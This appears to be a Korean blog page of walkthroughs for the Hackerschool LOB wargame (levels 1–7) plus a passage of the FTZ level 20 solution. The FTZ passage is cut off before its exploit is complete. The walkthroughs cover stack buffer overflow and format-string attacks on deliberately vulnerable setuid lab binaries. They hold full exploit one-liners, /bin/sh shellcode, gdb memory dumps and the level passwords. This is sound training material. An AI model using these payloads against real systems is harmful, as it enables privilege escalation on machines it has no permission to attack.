반응형
반응형
반응형


해커스쿨 LOB LEVEL7 [darkelf -> orge] 풀이


M4ndU




해커스쿨 LOB [darkelf -> orge] 풀이입니다.


ID | darkelf

PW | kernel crashed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: darkelf

Password:

[darkelf@localhost darkelf]$ bash2

[darkelf@localhost darkelf]$ ls -l

total 20

-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge

-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // here is changed!

        if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


이전 문제에서 바뀐 내용은 argv[0]의 길이가 77이어야 하는거네요.
argv[0]은 ./orge AA BB 에서 ./orge가 해당됩니다.
argv[0]의 길이가 77이 되도록 하려면 "./"를 제외하고 파일이름이 75바이트면 되겠네요.

파일이름을 바꿔줍시다.

[darkelf@localhost darkelf]$ rename orge `python -c 'print "A"*75'` orge
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge.c

그럼 이제 분석을 위해 파일을 복사해주고, argv[2]에 쉘코드를 넣고 위치를 확인해 봅시다.

argv[1] = 'print "D"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


[darkelf@localhost darkelf]$ mkdir tmp

[darkelf@localhost darkelf]$ cp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  tmp/

[darkelf@localhost darkelf]$ cd tmp/

[darkelf@localhost tmp]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xff\xff\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?

Segmentation fault (core dumped)

[darkelf@localhost tmp]$ gdb -c core -q

Core was generated by `./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA D'.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/1000x $esp

0xbffff9d0:     0x00000000      0xbffffa14      0xbffffa24      0x40013868

0xbffff9e0:     0x00000003      0x08048450      0x00000000      0x08048471

(생략)

0xbffffb10:     0x00000000      0x00000000      0x00000000      0x38366900

0xbffffb20:     0x2f2e0036      0x41414141      0x41414141      0x41414141

0xbffffb30:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb60:     0x41414141      0x41414141      0x41414141      0x00414141

0xbffffb70:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb80:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb90:     0x44444444      0x44444444      0x44444444      0xbfffffff

0xbffffba0:     0x90909000      0x90909090      0x90909090      0x90909090

0xbffffbb0:     0x90909090      0x50c03190      0x732f2f68      0x622f6868

0xbffffbc0:     0xe3896e69      0xe1895350      0x0bb0c289      0x000080cd


argv[0], argv[1], argv[2] 를 모두 확인할 수 있네요.
쉘코드가 있는 0xbffffbb0를 리턴주소로 하겠습니다.

[darkelf@localhost darkelf]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xb0\xfb\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD곽?
bash$ my-pass
euid = 507
timewalker


성공입니다. 다음레벨로 GA즈AAAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 LOB LEVEL6 [wolfman -> darkelf] 풀이


M4ndU




해커스쿨 LOB [wolfman -> darkelf] 풀이입니다.


ID | wolfman

PW | love eyuna


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: wolfman

Password:

[wolfman@localhost wolfman]$ bash2

[wolfman@localhost wolfman]$ ls -l

total 20

-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf

-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


이번에는 argv[1]의 길이를 제안하네요. 48바이트를 넘기면 안되네요.
하지만 argv[2]를 이용한다면 해결됩니다.

argv[1] = 'print "\x90"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


[wolfman@localhost tmp]$ ./darkelf `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
Segmentation fault (core dumped)
[wolfman@localhost tmp]$ gdb -c core -q
Core was generated by `./darkelf 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffff in ?? ()
(gdb) x/1000x $esp
0xbffffac0:     0x00000000      0xbffffb04      0xbffffb14      0x40013868
(생략)
0xbffffc00:     0x2e003638      0x7261642f      0x666c656b      0x90909000
0xbffffc10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc30:     0x90909090      0x90909090      0xffffff90      0x909000bf
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0xc0319090      0x2f2f6850      0x2f686873      0x896e6962
0xbffffc60:     0x895350e3      0xb0c289e1      0x0080cd0b      0x00000000
(생략)

0xbffffc40을 리턴주소로 잡으면 되겠네요.

[wolfman@localhost wolfman]$ ./darkelf  `python -c 'print "\x90"*44+"\x40\xfc\xff\xbf"'` `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱@??
bash$ my-pass
euid = 506
kernel crashed

성공입니다!
분명히 되야 하는데 안될땐 bash2를 다시 띄워서 하면 되더라구요.

그럼 다음 문제로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이


M4ndU




해커스쿨 LOB [orc -> wolfman] 풀이입니다.


ID | orc

PW | cantata


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: orc

Password:

[orc@localhost orc]$ bash2

[orc@localhost orc]$ ls -l

total 20

-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman

-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}



점점 조건들이 많아지네요...
환경변수 사용 불가능, 스택영역 사용

        // buffer hunter

        memset(buffer, 0, 40);


buffer의 값을 0으로 초기화 시켜서 사용할 수 없게 되었습니다.

하지만! 입력값의 크기 제한은 없죠.
쉘코드를 리턴주소 다음에 넣으면 됩니다!

dummy [44] + RET[4] + SHELLCODE

[orc@localhost orc]$ mkdir tmp
[orc@localhost orc]$ cp wolfman tmp/
[orc@localhost orc]$ cd tmp/
[orc@localhost tmp]$ ./wolfman `python -c 'print "A"*44+"\xff\xff\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
Segmentation fault (core dumped)
[orc@localhost tmp]$ gdb -c core -q
Core was generated by `./wolfman AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffff in ?? ()
(gdb) x/500x $esp
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
(생략)
0xbffffc00:     0x00000000      0x00000000      0x36690000      0x2e003638
0xbffffc10:     0x6c6f772f      0x6e616d66      0x41414100      0x41414141
0xbffffc20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc40:     0x41414141      0xffffff41      0x909090bf      0x90909090
0xbffffc50:     0x90909090      0x90909090      0x90909090      0x50c03190
0xbffffc60:     0x732f2f68      0x622f6868      0xe3896e69      0xe1895350
0xbffffc70:     0x0bb0c289      0x000080cd      0x00000000      0x00000000
(생략)

0xbffffc50으로 리턴주소를 설정하겠습니다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x50\xfc\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
bash$ my-pass
euid = 505
love eyuna


성공입니다. 다음레벨로 GAZUAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이


M4ndU




해커스쿨 LOB [goblin -> orc] 풀이입니다.


ID | goblin

PW | hackers proof


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: goblin

Password:

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ls -l

total 20

-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc

-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 두가지 조건이 있네요.

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.

스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면


./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`


가 되겠네요.


쉘코드가 있는 곳을 알아봅시다.

문제파일을 복사해서 core파일을 분석하면 됩니다.


[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ??

Segmentation fault (core dumped)

[goblin@localhost tmp]$ gdb -c core -q

Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                      ??.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/500x $esp

0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868

0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471

 (생략)

0xbffffc20:     0x00000000      0x00000000      0x69000000      0x00363836

0xbffffc30:     0x726f2f2e      0x90900063      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x50c03190      0x732f2f68

0xbffffc50:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289

0xbffffc60:     0xffff80cd      0x0000bfff      0x00000000      0x00000000

 (생략)


우리가 입력한 값들이 보이네요.

리턴주소를 0xbffffc40으로 잡겠습니다.


[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ?@??

bash$ my-pass

euid = 504

cantata

bash$


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이


M4ndU




해커스쿨 LOB [gremlin -> cobolt] 풀이입니다.


ID | gremlin

PW | hello bof world


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gremlin

Password:

[gremlin@localhost gremlin]$ bash2

[gremlin@localhost gremlin]$ ls -l

total 16

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


이번엔 버퍼가 16밖에 되지 않네요. 하지만 환경변수를 사용하면 버퍼의 크기는 상관이 없습니다!

gdb를 통해 buffer와 리턴주소간 거리를 구해봅시다.


[gremlin@localhost gremlin]$ gdb -q cobolt
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
---Type <return> to continue, or q <return> to quit---
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret

buffer가 ebp-16이니 dummy가 없네요.

바로 환경변수 설정해 줍시다. 이번에도 41바이트 쉘코드를 사용했습니다.


[gremlin@localhost gremlin]$ mkdir tmp
[gremlin@localhost gremlin]$ cd tmp
[gremlin@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gremlin@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gremlin@localhost tmp]$ gcc getenv.c -o getenv
[gremlin@localhost tmp]$ ./getenv
ADDR -> 0xbffffe8d


[gremlin@localhost tmp]$ cd ..

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x8d\xfe\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAA랞?

bash$ my-pass

euid = 502

hacking exposed



깔끔

다음레벨로 가즈아ㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이


M4ndU




해커스쿨 LOB [gate -> gremlin] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gate

Password:

Last login: Sat Feb 10 20:32:49 on tty1

[gate@localhost gate]$ bash2

[gate@localhost gate]$ ls -l

total 16

-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

[gate@localhost gate]$ cat gremlin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - gremlin

        - simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




Simple BOF문제라고 하네요.


소스를 보면 256바이트 크기인 buffer에 무제한으로 입력을 받네요.


buffer와 리턴주소 간의 거리를 구하고 쉘코드를 buffer 또는 환경변수에 올려서 쉘을 따면 되겠네요.


저는 환경변수를 이용하겠습니다.



일단 문제 파일을 gdb로 까봅시다.


[gate@localhost gate]$ gdb gremlin -q

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>

0x8048449 <main+25>:    add    %esp,4

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax

0x8048466 <main+54>:    call   0x8048370 <strcpy>

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256]

0x8048474 <main+68>:    push   %eax

0x8048475 <main+69>:    push   0x80484ec

0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret


*main+62 를 통해 buffer가 ebp-256에 있는 것을 알 수 있습니다.

buffer의 크기가 256이니 dummy없이 바로 buffer - sfp - ret 인 것 같습니다.


이제 환경변수를 설정해 줍시다.
41바이트 쉘코드를 사용했습니다.


[gate@localhost gate]$ cd tmp/
[gate@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gate@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gate@localhost tmp]$ gcc getenv.c -o getenv
[gate@localhost tmp]$
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./getenv
ADDR -> 0xbffffe9f


0xbffffe9f를 리턴주소로 두고 공격을 하면 되겠네요.

./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA잷?
bash$ my-pass
euid = 501
hello bof world
bash$



다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | we are just regular guys


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level20

level20@192.168.31.128's password:

[level20@ftz level20]$ ls -l

total 24

-rwsr-sr-x    1 clear    clear       11777 Jun 18  2008 attackme

-rw-r-----    1 root     level20       133 May 13  2002 hint

drwxr-xr-x    2 root     level20      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level20      4096 Jan 11  2009 tmp

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}



FTZ의 마지막 레벨, 20레벨이네요.
소스를 보면
bleh는 80바이트인데 입력은 79바이트를 받네요.
.....????????

어떻게 해결해?
하지만 printf(bleh);
이곳에 취약점이 있습니다!
level11에도 있었던 취약점이었습니다.

보통 printf("%s", bleh); 로 사용되는데, 이 것은 그렇지 않죠.
이 것의 문제를 포멧스트링 버그라고 합니다.

포멧스트링 버그에 관한 내용들은 좋은 문서들이 많으니 설명하지 않고 풀이로 넘어가겠습니다.

[level20@ftz level20]$ ./attackme
%08x %08x
0000004f 4212ecc0


입력값으로 서식문자를 입력하니 메모리를 읽어서 출력해주네요.
이번엔 그냥 문자와 서식문자를 같이 입력해 보겠습니다.

[level20@ftz level20]$ ./attackme
AAAAAAAA %08x %08x %08x %08x %08x %08x %08x %08x
AAAAAAAA 0000004f 4212ecc0 4207a750 41414141 41414141 38302520 30252078 25207838

오 이번엔 메모리 4번째부터 우리가 입력한 AAAAAAAA인 0x41414141 0x41414141 이 보이네요.

다음으로 printf()의 소멸자 .dtors를 찾아보겠습니다.

[level20@ftz level20]$ objdump -s -j .dtors attackme

attackme:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

0x8049594 + 4 = 0x8049598에 있네요. 이 주소에 쉘코드 주소를 넣어주면 되겠습니다.

일단 환경변수에 쉘코드를 넣겠습니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level20@ftz level20]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level20@ftz tmp]$ gcc getenv.c -o getenv
[level20@ftz tmp]$ ./getenv
